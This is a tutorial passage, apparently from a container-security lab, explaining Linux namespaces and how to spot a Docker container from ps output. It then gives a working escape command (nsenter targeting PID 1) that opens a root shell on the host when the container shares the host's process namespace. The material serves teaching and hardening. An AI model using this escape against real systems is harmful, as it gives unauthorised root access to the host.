Vulnerability 4: Abusing Namespaces

What Are Namespaces

Namespaces segregate system resources such as processes, files, and memory away from other namespaces. Every process running on Linux will be assigned two things:

  • A namespace

  • A Process Identifier (PID)

Namespaces are how containerisation is achieved! Processes can only "see" the process in the same namespace. Take Docker, for example, every new container will run as a new namespace, although the container may run multiple applications (processes).

Let's prove the concept of containerisation by comparing the number of processes on the host operating system, in comparison to the Docker container that the host is running (an apache2 web server):

cmnatic@thm-dev:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
--cut for brevity--
cmnatic     1984  0.0  0.7 493400 28932 ?        Sl   00:48   0:00 update-notifier
cmnatic     2263  5.6 10.0 3385096 396960 ?      Sl   00:48   0:08 /snap/firefox/1232/usr/lib/firefox/firefox
cmnatic     2429  0.4  2.8 2447088 114900 ?      Sl   00:48   0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 1 -
cmnatic     2457  0.0  0.4 1385228 18496 ?       Sl   00:48   0:00 /usr/bin/snap userd
cmnatic     3054  0.1  2.3 2425836 91936 ?       Sl   00:48   0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 520
cmnatic     3346  1.7  4.1 2526924 162944 ?      Sl   00:48   0:02 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 584
cmnatic     3350  0.0  1.6 2390708 66560 ?       Sl   00:48   0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 584
cmnatic     3369  0.0  1.6 2390712 66672 ?       Sl   00:48   0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 5 -isForBrowser -prefsLen 584
cmnatic     3417  0.0  1.6 2390708 66432 ?       Sl   00:48   0:00 /snap/firefox/1232/usr/lib/firefox/firefox -contentproc -childID 6 -isForBrowser -prefsLen 590
cmnatic     3490  0.0  0.3 428192 12288 ?        Sl   00:49   0:00 /usr/libexec/deja-dup/deja-dup-monitor
cmnatic     3524  0.4  1.8 932320 74496 ?        Sl   00:49   0:00 /usr/bin/nautilus --gapplication-service
cmnatic     3545  0.7  1.3 557340 55232 ?        Ssl  00:49   0:00 /usr/libexec/gnome-terminal-server
cmnatic     3563  0.0  0.1  12908  6784 pts/0    Ss+  00:49   0:00 bash
--cut for brevity--bas

In the first column on the very left, we can see the user the process is running as, including the process number (PID). Additionally, notice that the column on the very right has the command or application that started the process (such as Firefox and Gnome terminal). It's important to note here that multiple applications and processes are running (specifically 320!).

Generally speaking, a Docker container will have very processes running. This is because a container is designed to do one task. I.e., just run a web server, or a database.

Determining if We're in a Container (Processes)

Let's list the processes running in our Docker container using ps aux. It's important to note that we only have six processes running in this example. The difference in the number of processes is usually a great indicator that we're in a container.

Additionally, the first process in the snippet below has a PID of 1. This is the first process that is running. PID 1 (usually init) is the ancestor (parent) for all future processes that are started. If, for whatever reason, this process is stopped, then all other processes are stopped too.

root@demo-container:~# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.2  0.2 166612 11356 ?        Ss   00:47   0:00 /sbin/init 
root          14  0.1 0.1 6520 5212 ?  S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND 
www-data      15  0.1 0.1 1211168 4112 ?  S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND 
www-data      16  0.1 0.1 1211168 4116 ?  S 00:47 0:00 /usr/sbin/apache2 -D FOREGROUND
root          81  0.0 0.0 5888 2972 pts/0  R+ 00:52 ps aux

Comparatively, we can see that only 5 processes are running. A good indicator that we're in a container! However, as we come to discover shortly, this is not 100% indicative. There are cases where, ironically, you want the container to be able to interact directly with the host.

How Can We Abuse Namespaces

Recall cgroups (control groups) in a previous vulnerability. We are going to be using these in another method of exploitation. This attack abuses conditions where the container will share the same namespace as the host operating system (and therefore, the container can communicate with the processes on the host).

You might see this in cases where the container relies on a process running or needs to "plug in" to the host such as the use of debugging tools. In these situations, you can expect to see the host's processes in the container when listing them via ps aux.

root@demo-container:~# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.1  0.5 102796 11372 ?        Ss   11:40   0:03 /sbin/init
root           2  0.0  0.0      0     0 ?        S    11:40   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   11:40   0:00 [rcu_gp]
-- cut for brevity --
root        2119  0.0  0.1 1148348 3372 ?        Sl   12:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 22 -container-ip 172.17.0.2 -container
root        2125  0.0  0.1 1148348 3392 ?        Sl   12:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 22 -container-ip 172.17.0.2 -container-port
root        2141  0.0  0.4 712144  9192 ?        Sl   12:00   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 2032326e64254786be0a420199ef845d8f97afccba9e2e
root        2163  0.0  0.2  72308  5644 ?        Ss   12:00   0:00 /usr/sbin/sshd -D

The Exploit

For this vulnerability, we will be using nsenter (namespace enter). This command allows us to execute or start processes, and place them within the same namespace as another process. In this case, we will be abusing the fact that the container can see the "/sbin/init" process on the host, meaning that we can launch new commands such as a bash shell on the host.

Use the following exploit: nsenter --target 1 --mount --uts --ipc --net /bin/bash, which does the following:

  1. We use the --target switch with the value of "1" to execute our shell command that we later provide to execute in the namespace of the special system process ID to get the ultimate root!

  2. Specifying --mount this is where we provide the mount namespace of the process that we are targeting. "If no file is specified, enter the mount namespace of the target process." (Man.org., 2013).

  3. The --uts switch allows us to share the same UTS namespace as the target process meaning the same hostname is used. This is important as mismatching hostnames can cause connection issues (especially with network services).

  4. The --ipc switch means that we enter the Inter-process Communication namespace of the process which is important. This means that memory can be shared.

  5. The --net switch means that we enter the network namespace meaning that we can interact with network-related features of the system. For example, the network interfaces. We can use this to open up a new connection (such as a stable reverse shell on the host).

  6. As we are targeting the "/sbin/init" process #1 (although it's a symbolic link to "lib/systemd/systemd" for backwards compatibility), we are using the namespace and permissions of the systemd daemon for our new process (the shell)

  7. Here's where our process will be executed into this privileged namespace: sh or a shell. This will execute in the same namespace (and therefore privileges) of the kernel.

You may need to "Ctrl + C" to cancel the exploit once or twice for this vulnerability to work, but as you can see below, we have escaped the docker container and can look around the host OS (showing the change in hostname)

root@demo-container:~# hostname
thm-docker-host

Last updated